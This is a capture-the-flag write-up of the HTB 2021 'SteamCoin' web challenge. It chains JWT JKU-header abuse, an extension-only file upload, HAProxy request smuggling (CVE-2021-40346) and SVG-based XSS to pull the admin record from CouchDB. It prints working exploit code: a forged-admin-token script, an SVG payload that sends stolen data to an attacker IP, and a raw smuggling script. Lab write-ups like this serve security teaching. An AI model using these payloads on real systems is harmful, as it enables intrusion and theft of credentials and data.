HTB 2021 Uni CTF Quals - SteamCoin writeup

TL;DR: Abuse JKU claim misuse in combination with unrestricted file upload to gain admin access. Perform request smuggling to bypass HAproxy ACL rules and use XSS to let puppeteer retrieve admin secret from CouchDB REST API.


Given are a Dockerfile, some config files and the source code of a NodeJS application. Looking at the Dockerfile we see that on top of NodeJS some other interesting packages are installed, most importantly HAproxy and couchdb. First, let us inspect HAProxy.


The proxy config can be found in config/haproxy.cfg and is fairly straightforward. All traffic is forwarded to the NodeJS server which runs on Additionally, there are two ACL rules which only allow traffic coming from to visit the /api/test-ui page, requests from other sources to this page are denied.

    maxconn 256

    mode http
    timeout connect 5000ms
    timeout client 50000ms
    timeout server 50000ms

frontend http-in
    bind *:80
    default_backend web
    acl network_allowed src
    acl restricted_page path_beg /api/test-ui
    http-request deny if restricted_page !network_allowed
backend web
    option http-keep-alive
    option forwardfor
    server server1 maxconn 32

Looking at the Dockerfile we see that HAproxy 2.4.0 is installed, this is not the latest version. If we search for this specific version online we find a bunch of CVE’s which may be used on this version, one stands out: CVE 2021-40346 - Integer overflow enables HTTP smuggling. This vulnerability makes it possible to bypass ACL restrictions, which seems really convenient given the ACL restrictions in place.

 Exploring the NodeJS app

Moving on to the application itself. The application actually does have very limited functionality. In short, it is possible to register an account, login, upload some kind of verification document and view said document. First lets look at how the database is setup.


class Database {

    async init() {
        this.couch = nano('http://admin:youwouldntdownloadacouch@localhost:5984');
        await this.couch.db.create('users', (err) => {  
            if (err && err.statusCode != 412) {
            this.userdb = this.couch.use('users');
            let adminUser = {  
                username: 'admin',
                password: crypto.randomBytes(13).toString('hex'),
                verification_doc: 'HTB{f4k3_fl4g_f0r_t3st1ng}'
            this.userdb.insert(adminUser, adminUser.username)
                    .catch(() => {});

...more non-relevant stuff here...

The NodeJS app interacts with couchdb which runs on port 5984, it authenticates to this database using HTTP basic auth. The credentials appear to be hardcoded and genuine (we assume the remote version has the same credentials). The goal of the challenge is also immediately clear: get the admin’s verification document.

One important thing to know about couchdb is that it has a REST API, so it is possible to retrieve data through HTTP requests. By executing the following curl command in our local docker setup it is possible to retrieve the admin user entry from the database:

curl http://admin:youwouldntdownloadacouch@localhost:5984/users/admin

 Authentication & session management'/api/login', async (req, res) => {
    const { username, password } = req.body;

    if (username && password) {
        return db.loginUser({
                username: username,
                password: password
        .then(user => {
                { username: username }, 
            .then(token => {
                    res.cookie('session', token, { maxAge: 43200000 });
                    return res.send(response('User authenticated successfully!'));
        .catch(() => res.status(403).send(response('Invalid email or password!')));
    return res.status(500).send(response('Missing parameters!'));

The register functionality is very standard, so we’re gonna skip that. The login on the other hand has something which is fairly interesting. As can be seen above, session management is done using JSON web tokens (JWT), however as confirmation method it uses JKU (JWK Set URL). This means that the token header contains more information than it normally does, if we register and login we obtain a token and can see this in action. We use to parse the token:

  "alg": "RS256",
  "typ": "JWT",
  "kid": "939aaa7c-ff22-4dd3-bc24-990c5c1aa0cd",
  "jku": "http://localhost:1337/.well-known/jwks.json"
  "username": "test",
  "iat": 1637534331

So in the payload part of the JWT we have our user account test but what is especially important is the header which contains the jku value. When you visit a restricted page (i.e. a page which requires you to be logged in) the public keys that are used to verify your JWT are retrieved from the JKU file (as can be seen in the code block below). This is really dangerous: if you can control the jku, then you can sign and verify your own JWT tokens. An article on pentesteracademy explains this very well.

router.get('/.well-known/jwks.json', async (req, res, next) => {
    return res.json({
        'keys': [
                'alg': 'RS256',
                'kty': 'RSA',
                'use': 'sig',
                'e': 'AQAB',
                'n': conf.KEY_COMP.n.toString('base64'),
                'kid': conf.KID

Looking at the JWT verification inside JWTHelper.js, we note that it checks that the jku path starts with http://localhost:1337/, that is the jku has to be hosted locally. There are no other restrictions on the jku path, the json extension for example is not required. Ultimately this means that if we can somehow get a file on the server we can sign and verify our own JWT tokens.

module.exports = async (req, res, next) => {
    try {
        if (req.cookies.session === undefined) {
                if (!'application/json')) return res.redirect('/');
                return res.status(401).send(response('Authentication required!'));
        return JWTHelper.getHeader(req.cookies.session)
            .then(header => {
                if (header.jku && header.kid){
                    if (header.jku.lastIndexOf('http://localhost:1337/', 0) !== 0) {
                        return res.status(500).send(response('The JWKS endpoint is not from localhost!'));
                    return JWTHelper.getPublicKey(header.jku, header.kid)
                        .then(pubkey => {
                            return JWTHelper.verify(req.cookies.session, pubkey)
                            .then(data => {
                       = {
                                    username: data.username,
                                return next();
                            .catch(() => res.status(403).send(response('Authentication token could not be verified!')));
                        .catch(e => console.log(e))
                        .catch(() => res.redirect('/logout'));
                return res.status(500).send(response('Missing required claims in JWT!'));
            .catch(err => res.status(500).send(response("Invalid session token supplied!")));
    } catch (e) {
            return res.status(500).send(response(e.toString()));

 File upload

Continuing with the routes/index.js file we find a bunch of other interesting functions:

const isValidFile = (file) => { 
    return [
}'/api/upload', AuthMiddleware, async (req, res) => {
    return db.getUser(
        .then(user => {
            if ( user.username == 'admin') return res.redirect('/dashboard');
            if (!req.files || !req.files.verificationDoc) return res.status(400).send(response('No files were uploaded.'));
            let verificationDoc = req.files.verificationDoc;
            if (!isValidFile(verificationDoc)) return res.status(403).send(response('The file must be an image or pdf!'));
            let filename = `${verificationDoc.md5}.${'.').slice(-1)[0]}`;
            uploadPath = path.join(__dirname, '/../uploads', filename);
  , (err) => {
                if (err) return res.status(500).send(response('Something went wrong!'));
            if(user.verification_doc && user.verification_doc !== filename){
                fs.unlinkSync(path.join(__dirname, '/../uploads',user.verification_doc));
            user.verification_doc = filename;
                .then(() =>{
                    res.send({'message':'verification file uploaded successfully!','filename':filename});
                .catch(() => res.status(500).send(response('Something went wrong!')));
        .catch(err => res.status(500).send(response(err.message)));

The /api/upload endpoint allows you to upload a verification document. this document has to be either a png, jpeg, svg or pdf. However only the file extension is checked, meaning we can upload a file with arbitrary contents. This is really promising in combination with the JKU issue that we noticed earlier.

Additionally, SVG files can contain XSS payloads, meaning we can run javascript. When you upload a file the response says that the freshly uploaded verification document is being reviewed, but since such functionality is not part of the application we assumed this was not actually the case. This means it is unlikely that we can do some kind of cookie stealing attack by uploading a SVG with an XSS payload that extracts the JWT token. However, as we will learn later, this XSS vulnerability is still essential to leak the flag.


Another noteworthy function in the routes/index.js file is /api/test-ui endpoint, which only the admin user can use. Via this endpoint it is possible to do an HTTP GET request to any page on the NodeJS application.'/api/test-ui', AuthMiddleware, (req, res) => {
    return db.getUser(
        .then(user => {
            if (user.username !== 'admin') return res.status(403).send(response('You are not an admin!'));
            let { path, keyword } = req.body;
            if (path, keyword) {
                if (path.startsWith('/')) path = path.replace('/','');
                return ui_tester.testUI(path, keyword)
                    .then(resp => res.send(response(resp)))
                    .catch(e => res.send(response(e.toString())));
            return res.status(500).send('Missing required parameters!');
        .catch(() => res.status(500).send(response('Authentication required!')));

The ui_tester.testUI code can be found in bot.js:

const testUI = async (path, keyword) => {
    return new Promise(async (resolve, reject) => {
        const browser = await puppeteer.launch(browser_options);
        let context = await browser.createIncognitoBrowserContext();
        let page = await context.newPage();
        try {
            await page.goto(`${path}`, {
                waitUntil: 'networkidle2'

            await page.waitForTimeout(8000);
            await page.evaluate((keyword) => {
                return document.querySelector('body').innerText.includes(keyword)
            }, keyword)
                .then(isMatch => resolve(isMatch));
        } catch(e) {
        await browser.close();

As can be seen a puppeteer opens the given page and searches for the given keyword on that page by using javascript, it then returns if the page contains that keyword (true/false). This in itself is not very useful, however, such a request would be a local request which often has more access than remote requests. In this case, we can use the puppeteer to do indirectly access the couchdb REST API.


Now that all details of the application have been reviewed, we can make a plan to obtain the flag (the admin’s verification document). Note that just becoming admin is not enough because the admin has no functionality to display his own verification document. Instead, we have to retrieve the verification document directly from the couchdb database by chaining a number of vulnerabilities that we found earlier:

  1. Generate RSA keypair;
  2. Sign JWT token and create JKU file;
  3. Register account and login;
  4. Upload our own JKU through the upload functionality;
  5. Sign our own JWT token with username=admin;
  6. Register another account and login again
  7. Upload SVG with XSS payload that visits the couchdb REST API and forwards the response to us;
  8. Use CVE 2021-40346 to bypass HAProxy ACL and smuggle HTTP request with admin JWT token to puppeteer.
  9. The puppeteer visits our uploaded SVG and triggers the XSS
  10. Profit…

 Exploit time

 Generate keypair

Generating a RSA keypair is really straightforward:

# Generate private key with 2048 bits modulus, store key in jwtRS256.key file
ssh-keygen -t rsa -b 2048 -m PEM -f jwtRS256.key
# Generate corresponding public key in PEM format
openssl rsa -in jwtRS256.key -pubout -outform PEM -out
# Print modulus of public key
openssl rsa -pubin -in -inform pem -modulus

 Sign JWT token and create JKU

The modulus is converted to bytes and base64 encoded, same for the public exponent (e=65537). The kid can be randomly generated in for example python.

        "alg": "RS256",
        "kty": "RSA",
        "use": "sig",
        "e": "AQAB",
        "n": "rgRaIJyWUIE6SvH3D3mubLIQ5WcJHnBxTKDvwI9AJx+dgK7tzCNxvGAcJINcUVDVDGU1KTO2CXXJTnwEANEnz4vplHGxpg7roEGzEDs29drfUR44HPTeKHiiCTr87nkhpwmYOrPpWy03nterKUQ6xTT3UEOiTCpKCYb3OJD3SqbZntZ3NqJV+5bEdZB/sxYj7QzRlSfrRJ0OiUWKnSIYb0hSORphkpoSMrjphJcmPzBE5h/6kvsR4t9QT5qc8ul9/iix4CA3Q8FEyId6nSs05ZJL2H5rKM1Qgf4sx2OMnLegWg5jlkFa5MXrL+iI4D4j6IvLMLaA61B9kdLTTv3jEw==",
        "kid": "7891f937-f3a2-4d25-9352-5af425154ee9"

This file is uploaded and is name is the md5 hash 7f8e5d01c8c5240fdc1675c3c6a0a82e The python script below signs the admin JWT tokens with our own private key.

#!/usr/bin/env python3

import jwt
from time import time

with open('jwtRS256.key') as fh:
    private_key =
    md5 = "7f8e5d01c8c5240fdc1675c3c6a0a82e"
    kid = "7891f937-f3a2-4d25-9352-5af425154ee9" # uuid.uuid4()

    payload = {"username": "admin", "iat": int(time())}
    headers = {"kid": kid, "jku": "http://localhost:1337/uploads/{}.png".format(md5)}

    encoded = jwt.encode(payload, private_key, algorithm="RS256", headers=headers)

Running this gives us the admin token:


 Craft SVG file

The XSS payload in the SVG image can be relatively simple, it only has to send two HTTP requests: one to the couchdb database to retrieve admin’s data and a second request to forward this data to us. The only thing that we have to remember is that couchdb uses HTTP Basic auth, meaning you have to provide the Authorization header, with as value base64(username:password). We encode this quickly and get base64(admin:youwouldntdownloadacouch) = YWRtaW46eW91d291bGRudGRvd25sb2FkYWNvdWNo. The following SVG includes our XSS payload:

<?xml version="1.0" encoding="UTF-8" standalone="no"?>

   viewBox="0 0 198.4375 52.916666"
   inkscape:version="0.92.5 (2060ec1f9f, 2020-04-08)">
     inkscape:label="Layer 1"
       d="m 107.79557,-10.430538 -7.33315,-0.02213 -3.647402,-6.361755 3.685742,-6.339624 7.33314,0.02213 3.64741,6.361756 z"
       transform="scale(1,-1)" />
  <!-- XSS payload -->
  <script type="text/javascript">
    var xhr = new XMLHttpRequest();
    xhr.onreadystatechange = function () {
        if (this.readyState == 4) {
            var xhr2 = new XMLHttpRequest();
  "GET", "http://[YOUR IP]:8081/?" + btoa(this.responseText), true);
    }"GET", "http://localhost:5984/users/admin", true);
    xhr.setRequestHeader("Authorization", "Basic YWRtaW46eW91d291bGRudGRvd25sb2FkYWNvdWNo");

 HTTP Request smuggling

In order succesfully trigger our XSS payload, we have to let the puppeteer visit our SVG image since only then the couchdb API endpoint will be accessible. However, HAproxy ACL rules prevent us from accessing the /api/testui endpoint, therefore we must use the Request smuggling CVE to bypass these ACL rules.

This article explains the vulnerability quite well. In short, what we do is add a very long Content-Length header to our HTTP request that results HAProxy miscaluclating the actual Content-Length. As an example, lets consider the following 2 requests, sent in sequence.

POST / HTTP/1.1\r
Content-Length: 27\r
GET /register HTTP/1.1
GET /login HTTP/1.1\r

Lets look at the first request first. Internally HAProxy, handles every header separately and the sizes of a header name and header value are stored together, where the header name size is stored as the least significant 8 bits. However, because our Content-length header name has a length of 270, the header name length overflows and becomes 270%(2^8) = 270%256 = 14, whereas the header value length becomes 1 (the header name length overflows to the header value length, so the carrying 1 is stored in the header value length).

Now comes the crux: the header name length is used to parse the header value, and because the header name length is 14 and the header value length is 1, the parser infers the header value by reading 1 byte starting from the 14th byte, that turns out to be 0. Meaning our content-length is inferred to be 0, this content-length is also forwarded to the backend server.

HAProxy itself though uses the second Content-length header and since the first request is a POST request it actually reads 27 more bytes from the request body, which in this case is the start of a second HTTP request. This second request is also forwarded to the backend server. However, it is not a full request so the backend server buffers it. Now you can send the actual second request. HAProxy will simply forward this request to the backend server. But the backend server is still waiting for the second part of a request it received earlier, meaning its gonna parse the second request as

GET /register HTTP/1.1
h:GET /login HTTP/1.1\r

So instead of returning the login page, the second request is going to return the register page, which means we’ve succesfully smuggeled a request!

The exact same principle can be used to bypass the ACL and smuggle a request to /api/test-ui:

#!/usr/bin/env python3
from pwn import *

# Connect to the challenge server
IP, PORT = '', 30248
conn = remote(IP, PORT)

# First request, overflow content-length header.
# Second content-length header is the size of the first part of the second request.
# i.e. len('POST /api/test-ui HTTP/1.1\r\nh:')
request = '''POST / HTTP/1.1\r
Content-Length: 31\r
POST /api/test-ui HTTP/1.1\r

# Second request contains all important header for /api/test-ui request
# Like the JWT token that we created and signed earlier.
payload = '{"path":"uploads/8dd30122189722974c4ffc130eb1a2d5.svg","keyword":"t"}'
secreq = '''POST /api/register HTTP/1.1\r
Cookie: session=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6Ijc4OTFmOTM3LWYzYTItNGQyNS05MzUyLTVhZjQyNTE1NGVlOSIsImprdSI6Imh0dHA6Ly9sb2NhbGhvc3Q6MTMzNy91cGxvYWRzLzdmOGU1ZDAxYzhjNTI0MGZkYzE2NzVjM2M2YTBhODJlLnBuZyJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNjM3NDE5NDgwfQ.WX6z3mdwnPZaOSl1-WkFNkL96f3hCESdr1Ld5xPN-faztCHq-4HcGBL2ERj2qAAEVnEFcrgKbOR89wHCY6b7FGb_SLhlSkwvi6zrHvUs2ptht9IpHe69YSeY9-tX7hi4B4EOBriwNtuC1TIqWaxaF7zWZ3asyYuqyS0UWQj_H89oB2JFKAuJy17UgH7pPMD081YnB39vaQC9Hn5_EjYvQdufQt2hmjjgmBfVE5YLf7RI3cceF76946-Y-AHXQTF2AT9FvtFWpFtee8q2AIZipwo7CmkmKP9Oyjy_JvqOD-tdz_oYtTvVuh5iYr6n9phZ8MNdjboqpTWBuVuYLEIJIA\r
Content-type: application/json\r
Content-length: {0}\r
'''.format(len(payload), payload)




On our server we start a listener and as expected receive the admin data, which we base64 decode to get


Flag: HTB{w3_d0_4_l1ttl3_c0uch_d0wnl04d1ng}